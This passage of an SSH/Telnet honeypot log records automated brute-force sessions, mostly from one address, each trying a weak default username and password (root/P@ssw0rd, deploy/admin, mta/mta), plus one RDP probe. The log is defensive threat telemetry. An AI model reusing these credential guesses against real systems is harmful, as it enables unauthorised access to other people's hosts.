16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:38.486584Z","src_ip":"103.149.170.125","session":"09d62dbaf869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:38.668905Z","src_ip":"45.156.87.69","session":"d0de5393156a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890z","message":"login attempt [root/1234567890z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:39.237090Z","src_ip":"103.149.170.125","session":"09d62dbaf869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24268,"dst_ip":"159.203.135.109","dst_port":22,"session":"e804a69f9a10","protocol":"ssh","message":"New connection: 45.156.87.69:24268 (159.203.135.109:22) [session: e804a69f9a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:40.260585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:40.463406Z","src_ip":"45.156.87.69","session":"e804a69f9a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:40.467496Z","src_ip":"45.156.87.69","session":"e804a69f9a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:40.489418Z","src_ip":"103.149.170.125","session":"09d62dbaf869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:41.221224Z","src_ip":"45.156.87.69","session":"e804a69f9a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:42.430224Z","src_ip":"45.156.87.69","session":"e804a69f9a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24282,"dst_ip":"159.203.135.109","dst_port":22,"session":"967e10a65da3","protocol":"ssh","message":"New connection: 45.156.87.69:24282 (159.203.135.109:22) [session: 967e10a65da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:44.028778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:44.037900Z","src_ip":"45.156.87.69","session":"967e10a65da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:44.148073Z","src_ip":"45.156.87.69","session":"967e10a65da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"local","password":"local","message":"login attempt [local/local] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:44.507276Z","src_ip":"45.156.87.69","session":"967e10a65da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46518,"dst_ip":"10.17.0.5","dst_port":23,"session":"39413d3fe4fb","protocol":"telnet","message":"New connection: 152.42.224.71:46518 (10.17.0.5:23) [session: 39413d3fe4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:44.813380Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:45.599433Z","src_ip":"45.156.87.69","session":"967e10a65da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42494,"dst_ip":"159.203.135.109","dst_port":22,"session":"981c5e016a35","protocol":"ssh","message":"New connection: 45.156.87.69:42494 (159.203.135.109:22) [session: 981c5e016a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:47.429920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:47.435248Z","src_ip":"45.156.87.69","session":"981c5e016a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:47.531830Z","src_ip":"45.156.87.69","session":"981c5e016a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:47.888083Z","src_ip":"45.156.87.69","session":"981c5e016a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53990,"dst_ip":"10.17.0.5","dst_port":23,"session":"847459d6275d","protocol":"telnet","message":"New connection: 152.42.224.71:53990 (10.17.0.5:23) [session: 847459d6275d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:48.359048Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:49.119507Z","src_ip":"45.156.87.69","session":"981c5e016a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42500,"dst_ip":"159.203.135.109","dst_port":22,"session":"53f3ac075054","protocol":"ssh","message":"New connection: 45.156.87.69:42500 (159.203.135.109:22) [session: 53f3ac075054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:51.219560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:51.225353Z","src_ip":"45.156.87.69","session":"53f3ac075054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:51.320197Z","src_ip":"45.156.87.69","session":"53f3ac075054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"12345678","message":"login attempt [daniel/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:51.997053Z","src_ip":"45.156.87.69","session":"53f3ac075054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:53.083475Z","src_ip":"45.156.87.69","session":"53f3ac075054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54782,"dst_ip":"159.203.135.109","dst_port":22,"session":"4510f839ad12","protocol":"ssh","message":"New connection: 152.42.212.128:54782 (159.203.135.109:22) [session: 4510f839ad12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:53.256855Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:53.261350Z","src_ip":"152.42.212.128","session":"4510f839ad12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:53.264946Z","src_ip":"152.42.212.128","session":"4510f839ad12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.28542923927307,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:53.553812Z","src_ip":"152.42.224.71","session":"6b3d5ccce60c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42502,"dst_ip":"159.203.135.109","dst_port":22,"session":"d47b55a26896","protocol":"ssh","message":"New connection: 45.156.87.69:42502 (159.203.135.109:22) [session: d47b55a26896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:54.861354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:54.873447Z","src_ip":"45.156.87.69","session":"d47b55a26896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:55.105570Z","src_ip":"45.156.87.69","session":"d47b55a26896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mta","password":"mta","message":"login attempt [mta/mta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:55.774618Z","src_ip":"45.156.87.69","session":"d47b55a26896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:56.909315Z","src_ip":"45.156.87.69","session":"d47b55a26896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":51028,"dst_ip":"159.203.135.109","dst_port":22,"session":"addb1b3472cd","protocol":"ssh","message":"New connection: 45.156.87.69:51028 (159.203.135.109:22) [session: addb1b3472cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:58.613053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:58.623520Z","src_ip":"45.156.87.69","session":"addb1b3472cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:58.711628Z","src_ip":"45.156.87.69","session":"addb1b3472cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233","message":"login attempt [root/112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:59.217380Z","src_ip":"45.156.87.69","session":"addb1b3472cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:00.302859Z","src_ip":"45.156.87.69","session":"addb1b3472cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":51032,"dst_ip":"159.203.135.109","dst_port":22,"session":"da41b139959d","protocol":"ssh","message":"New connection: 45.156.87.69:51032 (159.203.135.109:22) [session: da41b139959d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:01.998007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:02.003278Z","src_ip":"45.156.87.69","session":"da41b139959d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:02.088012Z","src_ip":"45.156.87.69","session":"da41b139959d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arm","password":"arm","message":"login attempt [arm/arm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:02.414392Z","src_ip":"45.156.87.69","session":"da41b139959d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:03.500861Z","src_ip":"45.156.87.69","session":"da41b139959d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":51036,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca91b03f94b","protocol":"ssh","message":"New connection: 45.156.87.69:51036 (159.203.135.109:22) [session: 5ca91b03f94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:05.365863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:05.371824Z","src_ip":"45.156.87.69","session":"5ca91b03f94b","protocol":"ssh"}
